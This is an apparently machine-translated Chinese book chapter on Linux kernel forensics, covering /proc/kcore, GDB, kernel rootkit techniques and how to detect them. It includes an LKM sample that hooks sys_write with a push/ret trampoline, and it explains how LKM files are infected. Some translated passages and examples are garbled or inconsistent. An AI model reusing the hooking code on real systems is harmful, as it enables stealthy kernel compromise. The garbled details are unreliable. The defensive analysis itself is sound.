Skip to content

Latest commit

 

History

History
472 lines (317 loc) · 34.6 KB

File metadata and controls

472 lines (317 loc) · 34.6 KB

九、Linux /proc/kcore分析

到目前为止,我们已经讨论了 Linux 二进制文件和内存,因为它属于用户域。 然而,如果我们不花一章的时间来讨论 Linux 内核,这本书就不会完整。 这是因为它实际上也是一个 ELF 二进制文件。 与程序加载到内存的方式类似,Linux 内核映像(也称为vmlinux)在引导时加载到内存中。 它有一个文本段和一个数据段,上面覆盖着许多特定于内核的分段头,你不会在用户区可执行文件中看到这些。 在本章中,我们还将简要介绍 lkm,因为它们也是 ELF 文件。

Linux 内核取证和 rootkit

如果您想成为 Linux 内核取证的真正大师,那么学习 Linux 内核映像的布局非常重要。 攻击者可以修改内核内存来创建非常复杂的内核 rootkit。 有相当多的技术可以在运行时感染内核。 列出一些,我们有以下:

  • 一种sys_call_table感染
  • 中断处理程序打补丁
  • 函数蹦床
  • 调试寄存器 rootkit
  • 感染异常表
  • Kprobe 仪器

这里列出的技术是内核 rootkit 最常用的主要方法,内核 rootkit 通常以LKM(简称可加载内核模块)的形式感染内核。 了解每一种技术,并知道每个感染驻留在 Linux 内核中的位置,以及在内存中查找的位置,对于能够检测这类潜伏的 Linux 恶意软件至关重要。 然而,首先,让我们后退一步,看看我们需要使用什么。 目前,市场上和开源世界中有许多工具能够检测内核 rootkit 并帮助搜索内存感染。 我们不会讨论这些。 然而,我们将讨论来自 Voodoo 内核的方法。 Kernel Voodoo 是我的一个项目,除了向公众发布了一些组件,比如taskverse,它大部分仍然是私有的。 这将在本章后面讨论,并提供从下载的链接。 它使用一些非常实用的技术来检测几乎任何类型的内核感染。 该软件基于我的原创作品内核侦探的想法,这是 2009 年设计的,好奇的人可以在我的网站http://www.bitlackeys.org/#kerneldetective上找到它。

该软件只能在较旧的 32 位 Linux 内核(2.6.0 到 2.6.32)上工作; 64 位支持只是部分完成。 这个项目中的一些想法是永恒的,然而,我最近提取了它们,并结合了一些新的想法。 其结果是 Kernel Voodoo,一个主机入侵检测系统,以及内核取证软件,它依赖于/proc/kcore 进行高级内存获取和分析。 在本章中,我们将讨论它使用的一些基本技术,在某些情况下,我们将在 GDB 和/proc/kcore 中手工使用它们。

普通 vmlinux 没有符号

除非您编译了自己的内核,否则您不会有一个容易访问的 vmlinux,它是一个 ELF 可执行文件。 相反,您将在/boot中拥有一个压缩的内核,通常命名为vmlinuz-<kernel_version>。 这个压缩的内核映像可以解压,但是结果是一个没有符号表的内核可执行文件。 这给分析人员或使用 GDB 调试内核带来了问题。 在这种情况下,大多数人的解决方案是希望他们的 Linux 发行版有一个特殊的包,其内核版本有调试符号。 如果是这样,那么他们可以从发行库中下载带有符号的内核副本。 然而,在许多情况下,这是不可能的,或者因为这样或那样的原因不方便。 尽管如此,这个问题可以通过我在 2014 年设计并发布的一个自定义实用程序来解决。 这个工具被称为kdress,因为它对内核符号表进行着装。

实际上,它是以迈克尔·扎勒夫斯基的一种旧工具命名的,叫做连衣裙。 该工具将使用符号表修饰静态可执行文件。 这个名称源于这样一个事实,即人们运行一个名为的程序条带来从可执行文件中删除符号,因此“dress”对于重新构建符号表的工具来说是一个合适的名称。 我们的工具 kdress 只从System.map文件或/proc/kallsyms文件中获取有关符号的信息,具体取决于哪个更容易获得。 然后,它通过为符号表创建一个 section 头来将该信息重新构造到内核可执行文件中。 这个工具可以在我的 GitHub 配置文件https://github.com/elfmaster/kdress找到。

使用 kdress 构建一个正确的 vmlinux

下面是一个例子,展示了如何使用 kdress 工具构建一个可以通过 GDB 加载的 vmlinux 映像:

Usage: ./kdress vmlinuz_input vmlinux_output <system.map>

$ ./kdress /boot/vmlinuz-`uname -r` vmlinux /boot/System.map-`uname -r`
[+] vmlinux has been successfully extracted
[+] vmlinux has been successfully instrumented with a complete ELF symbol table.

该实用程序创建了一个名为 vmlinux 的输出文件,它有一个完全重构的符号表。 例如,如果我们想在内核中定位sys_call_table,那么我们可以很容易地找到它:

$ readelf -s vmlinux | grep sys_call_table
 34214: ffffffff81801460  4368 OBJECT  GLOBAL DEFAULT    4 sys_call_table
 34379: ffffffff8180c5a0  2928 OBJECT  GLOBAL DEFAULT    4 ia32_sys_call_table

拥有带有符号的内核映像对于调试和取证分析都是非常重要的。 几乎所有关于 Linux 内核的取证都可以用 GDB 和/proc/kcore来完成。

/proc/kcore 和 GDB 探索

/proc/kcore技术是一个访问内核内存的接口,它以 ELF 核心文件的形式方便地呈现出来,可以通过 GDB 轻松地进行导航。

使用 GDB 和/proc/kcore是一种无价的技术,可以扩展到为熟练的分析师进行非常深入的取证。 下面是一个展示如何导航sys_call_table的简单示例。

导航 sys_call_table 示例

$ sudo gdb -q vmlinux /proc/kcore
Reading symbols from vmlinux...
[New process 1]
Core was generated by `BOOT_IMAGE=/vmlinuz-3.16.0-49-generic root=/dev/mapper/ubuntu--vg-root ro quiet'.
#0  0x0000000000000000 in ?? ()
(gdb) print &sys_call_table
$1 = (<data variable, no debug info> *) 0xffffffff81801460 <sys_call_table>
(gdb) x/gx &sys_call_table
0xffffffff81801460 <sys_call_table>:  0xffffffff811d5260
(gdb) x/5i 0xffffffff811d5260
   0xffffffff811d5260 <sys_read>:  data32 data32 data32 xchg %ax,%ax
   0xffffffff811d5265 <sys_read+5>:  push   %rbp
   0xffffffff811d5266 <sys_read+6>:  mov    %rsp,%rbp
   0xffffffff811d5269 <sys_read+9>:  push   %r14
   0xffffffff811d526b <sys_read+11>:mov    %rdx,%r14

在本例中,我们可以查看sys_call_table[0]中保存的第一个指针,并确定它包含了 syscall 函数sys_read的地址。 然后我们可以看看该系统调用的前 5 条指令。 这是一个使用 GDB 和/proc/kcore导航内核内存是多么容易的例子。 如果安装了带有蹦床函数的内核 rootkit,那么显示前几个指令将显示跳转或返回到另一个恶意函数。 如果您知道要查找什么,那么以这种方式使用调试器来检测内核 rootkit 是非常有用的。 Linux 内核的结构上的细微差别以及它是如何被感染的都是高级的话题,对许多人来说似乎是深奥的。 一章不足以完全揭开所有这些神秘的面纱,但我们将涵盖可能被用来感染内核和检测感染的方法。 在下面几节中,我将从一般的角度讨论几种感染内核的方法,并给出一些示例。

注意事项

仅使用 GDB 和/proc/kcore,就有可能检测到本章中提到的所有类型的感染。 像内核 Voodoo 这样的工具非常好而且方便,但是对于检测与正常运行的内核的偏差并不是绝对必要的。

直接修改 sys_call_table

传统内核 rootkit,如【显示】喜欢和方阵【病人】,在sys_call_table通过重写指针,这样他们会指向一个替代函数,然后将根据需要调用原来的系统调用。 这可以通过 LKM 或通过/dev/kmem/dev/mem修改内核的程序来完成。 在当今的 Linux 系统中,出于安全原因,这些到内存的可写窗口被禁用,或者不再能够执行任何操作,只能执行读操作,这取决于内核的配置方式。 还有其他方法试图预防这种类型的感染,例如将sys_call_table标记为const,以便将其存储在文本段的.rodata部分。 可以通过将相应的PTE**(即Page Table Entry)标记为可写,或者禁用cr0寄存器中的写保护位来绕过这个问题。 因此,即使在今天,这种类型的感染也是一种非常可靠的方法来制造 rootkit,但它也很容易被检测到。**

检测 sys_call_table 修改

为了检测sys_call_table的修改,您可以查看System.map文件或/proc/kallsyms来查看每个系统调用的内存地址。 举例来说,如果我们想要检测sys_write系统调用是否被感染,我们需要学习的合法地址sys_writesys_call_table内的指数,然后验证正确的地址实际上是存储在内存使用 GDB 和/proc/kcore

验证系统调用完整性的示例

$ sudo grep sys_write /proc/kallsyms
ffffffff811d5310 T sys_write
$ grep _write /usr/include/x86_64-linux-gnu/asm/unistd_64.h
#define __NR_write 1
$ sudo gdb -q vmlinux /proc/kcore
(gdb) x/gx &sys_call_table+1
0xffffffff81801464 <sys_call_table+4>:  0x811d5310ffffffff

记住,在 x86 架构上,数字以小写的形式存储。 sys_call_table[1]的值相当于/proc/kallsyms中查找的正确sys_write地址。 因此,我们成功地验证了sys_writesys_call_table条目没有被篡改。

核函数蹦床

这种技术最初是由 Silvio Cesare 在 1998 年提出的。 其想法是能够修改系统调用而不需要接触sys_call_table,但事实上,这种技术允许连接内核中的任何函数。 因此,它是非常强大的。 自 1998 年以来,发生了很多变化; 内核文本片段再也不能被修改,不需要禁用写保护在cr0或修改 PTE。主要问题,然而,是大多数现代内核使用 SMP,核函数蹦床是不安全的,因为它们使用非原子操作,比如memcpy()每次补丁函数被调用。 事实证明,也有一些方法可以绕过这个问题,使用一种我在这里不讨论的技术。 真正的要点是,内核函数蹦床实际上仍然在使用,因此理解它们仍然是非常重要的。

注意事项

它被认为是一种更安全的技术,对调用原始函数的单个调用指令进行修补,以便它们调用替换函数。 这个方法可以用作函数 trampolines 的替代方法,但是查找每一个调用可能会很困难,而且这通常在内核与内核之间发生变化。 因此,这种方法是不可移植的。

功能蹦床的例子

假设您想要劫持系统调用SYS_write,并且不想担心直接修改sys_call_table,因为它很容易被检测到。 这可以通过用包含跳转到另一个函数的代码的存根覆盖sys_write代码的前 7 个字节来实现。

在 32 位内核上劫持 sys_write 的示例代码

#define SYSCALL_NR __NR_write

static char syscall_code[7];
static char new_syscall_code[7] =
"\x68\x00\x00\x00\x00\xc3"; // push $addr; ret

// our new version of sys_write
int new_syscall(long fd, void *buf, size_t len)
{
        printk(KERN_INFO "I am the evil sys_write!\n");

        // Replace the original code back into the first 6
        // bytes of sys_write (remove trampoline)

        memcpy(
       sys_call_table[SYSCALL_NR], syscall_code,
                sizeof(syscall_code)
        );

        // now we invoke the original system call with no trampoline
        ((int (*)(fd, buf, len))sys_call_table[SYSCALL_NR])(fd, buf, len);

        // Copy the trampoline back in place!
        memcpy(
                sys_call_table[SYSCALL_NR], new_syscall_code,
                sizeof(syscall_code)
        );
}

int init_module(void)
{
        // patch trampoline code with address of new sys_write
        *(long *)&new_syscall_code[1] = (long)new_syscall;

        // insert trampoline code into sys_write
        memcpy(
                syscall_code, sys_call_table[SYSCALL_NR],
                sizeof(syscall_code)
        );
        memcpy(
                sys_call_table[SYSCALL_NR], new_syscall_code,
                sizeof(syscall_code)
        );
        return 0;
}

void cleanup_module(void)
{
        // remove infection (trampoline)
        memcpy(
                sys_call_table[SYSCALL_NR], syscall_code,
                sizeof(syscall_code)
        );
}

这个代码示例用一个push; ret存根替换sys_write的前 6 个字节,它将新的sys_write函数的地址推入堆栈并返回给它。 新的sys_write函数可以做任何它想做的事情,尽管在本例中我们只打印一条消息到内核日志缓冲区。 在它完成了这些狡猾的操作之后,它必须删除 trampoline 代码,以便能够调用未修改的 sys_write,最后将 trampoline 代码放回原位。

检测蹦床功能

通常,函数 trampolines 会覆盖它们所挂钩的函数的过程序言部分(前 5 到 7 个字节)。 因此,为了检测任何内核函数或系统调用中的函数蹦床,您应该检查前 5 到 7 个字节,并寻找跳转或返回到另一个地址的代码。 这样的代码可以以各种形式出现。 这里有几个例子。

一个带有 ret 指令的例子

将目标地址推入堆栈,然后返回给它。 当使用 32 位目标地址时,这会占用 6 字节的机器码:

push $address
ret

间接 jmp 的例子

将目标地址移到寄存器中进行间接跳转。 当使用 32 位目标地址时,需要 7 字节的代码:

movl $addr, %eax
jmp *%eax

相对 jmp 的例子

计算偏移量并执行一个相对跳转。 当使用 32 位偏移量时,这需要 5 字节的代码:

jmp offset

例如,如果我们想验证 sys_write 系统调用是否已经被函数 trampoline 钩住,我们可以简单地检查它的代码,看看过程的 prologue 是否还在:

$ sudo grep sys_write /proc/kallsyms
0xffffffff811d5310
$ sudo gdb -q vmlinux /proc/kcore
Reading symbols from vmlinux...
[New process 1]
Core was generated by `BOOT_IMAGE=/vmlinuz-3.16.0-49-generic root=/dev/mapper/ubuntu--vg-root ro quiet'.
#0  0x0000000000000000 in ?? ()
(gdb) x/3i 0xffffffff811d5310
   0xffffffff811d5310 <sys_write>:  data32 data32 data32 xchg %ax,%ax
   0xffffffff811d5315 <sys_write+5>:  push   %rbp
   0xffffffff811d5316 <sys_write+6>:  mov    %rsp,%rbp

前 5 个字节是,实际上用作对齐的 NOP 指令(也可能是 ftrace 探针的空间)。 内核使用特定的字节序列(0x66、0x66、0x66、0x66 和 0x90)。 过程序言代码遵循最初的 5 个 NOP 字节,并且完全完整。 因此,这将验证sys_write系统调用没有与任何函数 trampolines 挂钩。

中断处理程序打补丁- int 0x80,系统调用

感染内核的一个经典方法是,在内核内存中插入一个虚假的系统调用表,并修改负责调用系统调用的上半部分中断处理程序。 在 x86 体系结构中,中断 0x80 已弃用,取而代之的是用于调用系统调用的特殊的syscall/sysenter指令。 syscall/sysenter 和int 0x80最终调用同一个名为system_call()的函数,该函数依次调用sys_call_table中所选的系统调用:

(gdb) x/i system_call_fastpath+19
0xffffffff8176ea86 <system_call_fastpath+19>:  
callq  *-0x7e7feba0(,%rax,8)

在 x86_64 上,前面的调用指令发生在system_call()中的交换之后。 下面是代码在entry.S中的样子:

call *sys_call_table(,%rax,8)

(r/e)ax寄存器包含了系统调用号乘以sizeof(long),以使索引进入正确的系统调用指针。 很容易想象,攻击者可以将一个伪系统调用表kmalloc()放入内存(其中包含一些修改,其中包含指向恶意函数的指针),然后修补调用指令,以便使用伪系统调用表。 这种技术实际上是相当隐形的,因为它没有对原来的sys_call_table进行任何修改。 然而,对入侵者来说不幸的是,这种技术仍然很容易被训练有素的眼睛发现。

检测中断处理程序补丁

检测是否system_call()常规修补了调用一个假的sys_call_table与否,只是反汇编代码 GDB 和/proc/kcore,然后找出是否调用抵消指向的地址sys_call_table。 正确的sys_call_table地址可在System.map/proc/kallsyms中找到。

Kprobe rootkits

这种特殊类型的内核 rootkit 最初是在我 2010 年写的一篇 Phrack 论文中构思和详细描述的。 全文见http://phrack.org/issues/67/6.html

这种类型的内核 rootkit 是比较奇特的一种,因为它使用 Linux 内核 Kprobe 调试钩子在 rootkit 试图修改的目标内核函数上设置断点。 这种特殊的技术有其局限性,但它可以相当强大和隐形。 然而,就像任何其他技术一样,如果分析人员知道要查找什么,那么使用 kprobes 的内核 rootkit 就可以很容易地检测到。

检测 kprobe rootkits

通过分析内存来检测 kprobes 的存在是相当容易的。 当设置一个常规的 kprobe 时,一个断点被放置在函数的入口点(参见 jprobes)或任意指令上。 通过扫描整个代码段寻找断点,这是非常容易检测到的,因为除了为了 kprobes,没有理由在内核代码中放置断点。 对于检测优化的 kprobes,使用 jmp 指令代替断点(int3)指令。 当 jmp 被放置在函数的第一个字节时,这将是最容易检测的,因为这显然是不合适的。 最后,在/sys/kernel/debug/kprobes/list中有一个活动 kprobes 的简单列表,该列表实际上包含正在使用的 kprobes 的列表。 但是,任何 rootkit,包括我在 phrack 中演示的那个,都将对文件隐藏其 kprobes,所以不要依赖它。 一个好的 rootkit 还可以防止在/sys/kernel/debug/kprobes/enabled中禁用的 kprobes。

调试注册 rootkits - DRR

这种类型的内核 rootkit 使用 Intel Debug 寄存器作为劫持控制流的手段。 一篇伟大的 Phrack 论文是由半死不活写的。 可在此查阅:

http://phrack.org/issues/65/8.html

这种技术通常被称为超隐形,因为它不需要修改sys_call_table。 然而,同样地,也有检测这种类型感染的方法。

DRR 检测

在许多 rootkit 实现中,sys_call_table和其他常见的感染点没有被修改,但int1处理程序没有。 对do_debug函数的调用指令进行修补,以调用另一个do_debug函数,如前面链接的 phrack 论文所示。 因此,检测这种类型的 rootkit 通常就像分解 int1 处理程序并查看call do_debug指令的偏移量一样简单,如下所示:

target_address = address_of_call + offset + 5

如果target_addressSystem.map/proc/kallsyms中找到的do_debug地址的值相同,这意味着 int1 处理程序没有被修补,认为是干净的。

VFS 层 rootkits

感染内核的另一种经典的和强大的方法是通过感染内核的 VFS 层。 这种技术非常神奇,而且相当隐蔽,因为它在技术上修改的是内存中的数据段,而不是文本段,其中的差异更容易检测。 VFS 层是非常面向对象的,包含各种带有函数指针的结构体。 这些函数指针是文件系统操作,比如打开、读、写、readdir 等等。 如果攻击者可以修补这些函数指针,那么他们就可以以任何他们认为合适的方式控制这些操作。

检测 VFS 层 rootkits

可能有几种检测这种类型感染的技术。 然而,一般的想法是验证函数指针地址,并确认它们是否指向预期的函数。 在大多数情况下,这些函数应该指向内核中的函数,而不是 lkm 中存在的函数。 一种快速的检测方法是验证指针是否在内核的文本段的范围内。

验证 VFS 函数指针的例子

if ((long)vfs_ops->readdir >= KERNEL_MIN_ADDR &&
    (long)vfs_ops->readdir < KERNEL_MAX_ADDR)
        pointer_is_valid = 1;
else
        pointer_is_valid = 0;

其他内核感染技术

黑客还可以使用其他的技术来感染 Linux 内核(我们没有在本章中讨论这些),例如劫持 Linux 页面错误处理程序(http://phrack.org/issues/61/7.html)。 可以通过查找对文本段的修改来检测其中的许多技术,这是一种检测方法,我们将在下一节中进一步研究。

vmlinux 和。alinstructions 补丁

在我看来,唯一最有效的 rootkit 检测方法可以通过在内存中验证内核的代码完整性来总结——换句话说,将内核内存中的代码与预期的代码进行比较。 但是我们可以用什么来比较内核内存代码呢? 那么,为什么不是 vmlinux 呢? 这是我在 2008 年最初探索的方法。 知道 ELF 可执行文件的文本段不会从磁盘更改到内存,除非它是某种奇怪的自修改二进制文件,而内核不是这样的… 我很快就遇到了麻烦,并且发现了内核内存文本段和 vmlinux 文本段之间的各种代码差异。 这在一开始是令人困惑的,因为在这些测试期间我没有安装内核 rootkit。 然而,在检查了 vmlinux 中的 ELF 部分之后,我很快发现了一些引起我注意的地方:

$ readelf -S vmlinux | grep alt
  [23] .altinstructions  PROGBITS         ffffffff81e64528  01264528
  [24] .altinstr_replace PROGBITS         ffffffff81e6a480  0126a480

Linux 内核二进制文件中有几个部分包含替代指令。 随着的出现,Linux 内核开发人员有了一个聪明的想法:如果 Linux 内核可以在运行时智能地修补它自己的代码段,根据检测到的特定 CPU 改变“内存障碍”的某些指令,会怎么样? 这将是一个很好的想法,因为需要为所有不同类型的 cpu 创建更少的库存内核。 不幸的是,对于那些想要检测内核代码段中任何恶意更改的安全研究人员来说,这些替代指令必须首先被理解和应用。

.altinstr_replace 和.altinstr_replace

有两个部分,其中包含了需要知道内核中哪些指令在运行时被修补的大部分信息。 现在有一篇很棒的文章解释了这些部分,在我早期研究内核的这个领域时还没有:

https://lwn.net/Articles/531148/

然而,一般的想法是,.altinstructions节包含一个由struct alt_instr结构体组成的数组。 每一个代表一个替代指令记录,给你原始指令的位置和新指令的位置,应该用来修补原始指令。 .altinstr_replace部分包含了alt_instr->repl_offset成员引用的实际替代指令。

From arch/x86/include/asm/alternative.h

struct alt_instr {
   s32 instr_offset;      /* original instruction */
   s32 repl_offset;       /* offset to replacement instruction */
   u16 cpuid;             /* cpuid bit set for replacement */
   u8  instrlen;          /* length of original instruction */
   u8  replacementlen;    /* length of new instruction, <= instrlen */
};

在较老的内核中,前两个成员给出了新旧指令的绝对地址,但在较新的内核中,使用了相对偏移量。

使用 textify 来验证内核代码的完整性

多年来,我设计了几个工具来检测 Linux 内核代码段的完整性。 这种检测技术显然只适用于修改文本段的内核 rootkit,而且大多数 rootkit 都以某种方式这样做。 然而,也有例外,比如 rootkit 只依赖于修改 VFS 层,它驻留在数据段中,不会通过验证文本段的完整性来检测。 最近,我编写的工具(内核 Voodoo 软件套件的一部分)被命名为 textify,它本质上是将内核内存的文本段(取自/proc/kcore)与 vmlinux 中的文本段进行比较。 它解析.altinstructions和各种其他部分,如.parainstructions,以了解合法修补的代码指令的位置。 这样,就不会出现误报。 虽然 textify 目前还没有对公众开放,但其基本思想已经得到了解释。 因此,任何人如果希望尝试一些费力的编码过程来使它工作,都可以重新实现它。

一个使用 textify 检查 sys_call_table 的例子

# ./textify vmlinux /proc/kcore -s sys_call_table
kernel Detective 2014 - Bitlackeys.org
[+] Analyzing kernel code/data for symbol sys_call_table in range [0xffffffff81801460 - 0xffffffff81802570]
[+] No code modifications found for object named 'sys_call_table'

# ./textify vmlinux /proc/kcore -a
kernel Detective 2014 - Bitlackeys.org
[+] Analyzing kernel code of entire text segment. [0xffffffff81000000 - 0xffffffff81773da4]
[+] No code modifications have been detected within kernel memory

在前面的示例中,我们首先检查以确保sys_call_table没有被修改。 在现代 Linux 系统上,sys_call_table被标记为只读,因此存储在文本段中,这就是为什么我们可以使用 textify 来验证其完整性。 在下一个命令中,我们使用-a开关运行 textify,它扫描整个文本段中的每一个字节,以查找非法修改。 我们可以简单地从运行-a开始,因为sys_call_table包含在-a中,但是有时候,也可以通过符号名称来扫描内容。

使用 taskverse 查看隐藏进程

在 Linux 内核中,有几种方法可以修改内核,使进程隐藏能够工作。 由于本章并不是对所有内核 rootkit 的注释,我将只介绍最常用的方法,然后提出一种检测它的方法,它是在我 2014 年提供的 taskverse 程序中实现的。

在 Linux 中,进程 id 被存储为/proc文件系统中的目录; 每个目录包含大量关于进程的信息。 /bin/ps程序在/proc中执行一个目录列表,以查看哪些 pid 当前正在系统上运行。 Linux 中的目录列表(例如带有psls的目录)使用sys_getdents64系统调用和filldir64内核函数。 许多内核 rootkit 会劫持其中一个函数(取决于内核版本),然后插入一些代码,跳过包含隐藏进程d_name的目录条目。 结果,/bin/ps程序无法找到内核 rootkit 通过跳过目录列表中的进程而认为隐藏的进程。

Taskverse 技术

taskverse 程序是 Voodoo 内核包的一个部分,但我免费发布了一个更基本的版本,只使用一种技术来检测隐藏的进程; 然而,这种技术仍然非常有用。 正如我们刚才讨论的,rootkit 通常将 pid 目录隐藏在/proc中,这样sys_getdents64filldir64就看不到它们了。 要查看这些进程,最直接、最明显的方法是完全绕过/proc 目录,然后沿着内核内存中的任务列表查看由struct task_struct项链表表示的每个进程描述符。 列表指针的头可以通过查找init_task符号找到。 有了这些知识,具有一定技能的程序员就可以打开/proc/kcore并遍历任务列表。 这段代码的详细信息可以在项目中查看,可以在我的 GitHub 配置文件https://github.com/elfmaster/taskverse上找到。

受感染的 lkm -内核驱动程序

到目前为止,我们已经涵盖了内存中各种类型的内核 rootkit 感染,但是我认为这一章需要专门用一节来解释内核驱动程序是如何被攻击者感染的,以及如何检测这些感染。

感染 LKM 文件的方法 1 -符号劫持

lkm 是 ELF 对象。 更具体地说,它们是ET_REL文件(目标文件)。 由于它们实际上只是可重新定位的代码,因此感染它们的方式,如劫持函数,是比较有限的。 幸运的是,在装入 ELF 内核对象(在 LKM 中重新定位函数的过程)期间,有一些特定于内核的机制使感染它们变得非常容易。 整个方法和它工作的原因在这篇精彩的文章http://phrack.org/issues/68/11.html中进行了描述,但总体思想很简单:

  1. 将寄生代码注入或链接到内核模块。
  2. 更改init_module()的符号值,使其与邪恶的替换函数具有相同的偏移/值。

这是攻击者在现代 Linux 系统(2.6 到 3)上最常用的方法。 x 内核)。 还有另一种方法没有在其他任何地方具体描述,我将简要地分享它。

感染 LKM 文件的方法二(函数劫持)

正如前面提到的,LKM 文件是可重定位的代码,因此很容易添加代码,因为可以用 C 编写寄生虫,然后在链接之前将其编译为可重定位的。 在链接了新的寄生代码(可能包含一个新函数(或几个函数))之后,攻击者可以使用函数 trampolines 简单地劫持 LKM 中的任何函数,如本章前面所述。 因此,攻击者将目标函数的前几个字节替换为跳转到新函数。 在调用旧函数之前,新函数的 memcpy 是旧函数的原始字节,而 memcpy 是下次调用钩子时的蹦床。

注意事项

在较新的系统上,在给文本段打补丁之前,必须禁用写保护位,例如使用memcpy()调用来实现 trampolines 函数。

检测感染 lkm

基于刚才描述的两种简单的检测方法,这个问题的解决方案应该是显而易见的。 对于符号劫持方法,您可以简单地查找具有相同值的两个符号。 在 Phrack 文章中显示的示例中,init_module()函数被劫持了,但是该技术应该适用于攻击者想要劫持的任何函数。 这是因为内核处理每一个重定位(尽管我没有测试这个理论):

$ objdump -t infected.lkm
00000040 g     F .text  0000001b evil
...
00000040 g     F .text  0000001b init_module

注意,在前面的符号输出中,init_moduleevil具有相同的相对地址。 就在这里,这是一个被感染的 LKM 正如 Phrack 68 #11 所示。 检测被 trampolines 劫持的功能也非常简单,并且已经在 9.6.3 节中描述过了,在那里我们讨论了在内核中检测 trampolines。 只需对 LKM 文件中的函数应用相同的分析即可,可以使用 objdump 等工具对其进行分解。

/dev/kmem 和/dev/mem 的注释

在良好的时代,黑客能够使用/dev/kmem 设备文件修改内核。 这个文件为程序员提供了到内核内存的原始门户,最终受到各种安全补丁的影响,并从许多发行版中删除。 然而,一些发行版仍然可以读取它,这可能是检测内核恶意软件的强大工具,但只要/proc/kcore 可用,就没有必要这么做。 在给 Linux 内核打补丁方面编写的一些最好的工作是由 Silvio Cesare 构思的,这可以在他从 1998 年开始的早期作品中看到,并且可以在 vxheaven 或以下链接上找到:

/dev/mem

有许多使用/dev/mem 的内核 rootkit,即 phalanx 和 phalanx2,由 Rebel 编写。 这个设备也经历了许多安全补丁。 目前,为了向后兼容,它在所有系统上都存在,但是只有前 1mb 的内存是可访问的,主要用于 X Windows 使用的遗留工具。

FreeBSD /dev/kmem

在一些操作系统上,例如 FreeBSD, /dev/kmem 设备仍然可用,默认情况下是可写的。 甚至有专门为访问它而设计的 API,有一本叫做Writing BSD rootkits的书展示了它的能力。

K-ecfs – kernel ECFS

在上一章中,我们讨论了ECFS(简称Extended Core File Snapshot)技术。 值得一提的是,在这一章的末尾,我编写了一些内核-ecfs 的代码,它将 vmlinux 和/proc/kcore合并成一个内核-ecfs 文件。 其结果本质上是一个类似于/proc/kcore 的文件,但它也有节头和符号。 通过这种方式,分析人员可以轻松地访问内核、lkm 和内核内存(例如“vmalloc'd”内存)的任何部分。 这段代码最终将成为公共可用的。

内核-ecfs 文件的预览

这里,我们将演示如何将/proc/kcore快照到一个名为kcore.img的文件中,并给出一组 ELF 节头:

# ./kcore_ecfs kcore.img

# readelf -S kcore.img
here are 6 section headers, starting at offset 0x60404afc:

Section Headers:
  [Nr] Name              Type             Address           Offset
       Size              EntSize          Flags  Link  Info  Align
  [ 0]                   NULL             0000000000000000  00000000
       0000000000000000  0000000000000000           0     0     0
  [ 1] .note             NULL             0000000000000000  000000e8
       0000000000001a14  000000000000000c           0    48     0
  [ 2] .kernel           PROGBITS         ffffffff81000000  01001afc
       0000000001403000  0000000000000000 WAX       0     0     0
  [ 3] .bss              PROGBITS         ffffffff81e77000  00000000
       0000000000169000  0000000000000000  WA       0     0     0
  [ 4] .modules          PROGBITS         ffffffffa0000000  01404afc
       000000005f000000  0000000000000000 WAX       0     0     0
  [ 5] .shstrtab         STRTAB           0000000000000000  60404c7c
       0000000000000026  0000000000000000           0     0     0

# readelf -s kcore.img | grep sys_call_table
 34214: ffffffff81801460  4368 OBJECT 4 sys_call_table
 34379: ffffffff8180c5a0  2928 OBJECT 4 ia32_sys_call_table

内核黑客的好东西

Linux 内核是一个涉及取证分析和逆向工程的大主题。 有许多令人兴奋的方法可以对内核进行插装,以达到破解、反转和调试的目的,Linux 为其用户提供了许多进入这些领域的入口点。 在这一章中,我已经讨论了一些有用的文件和 api,但我也将给出一个简短的列表,列出可能对你的研究有帮助的东西。

通用逆向工程和调试

  • /proc/kcore
  • /proc/kallsyms
  • /boot/System.map
  • /dev/mem(已弃用)
  • /dev/kmem(已弃用)
  • GNU 调试器(与 kcore 一起使用)

高级内核破解/调试接口

  • Kprobes
  • Ftrace

本章所述论文

总结

在本书的最后一章中,我们走出了用户域二进制文件,并大致了解了内核中使用的 ELF 二进制文件的类型,以及如何将它们与 GDB 和/proc/kcore一起用于内存分析和分析目的。 我们还解释了一些最常见的 Linux 内核 rootkit 技术,以及可以应用哪些方法来检测它们。 这个小章节只是作为理解基本原理的主要资源,但是我们只是列出了一些优秀的资源,以便您可以继续扩展您在这一领域的知识。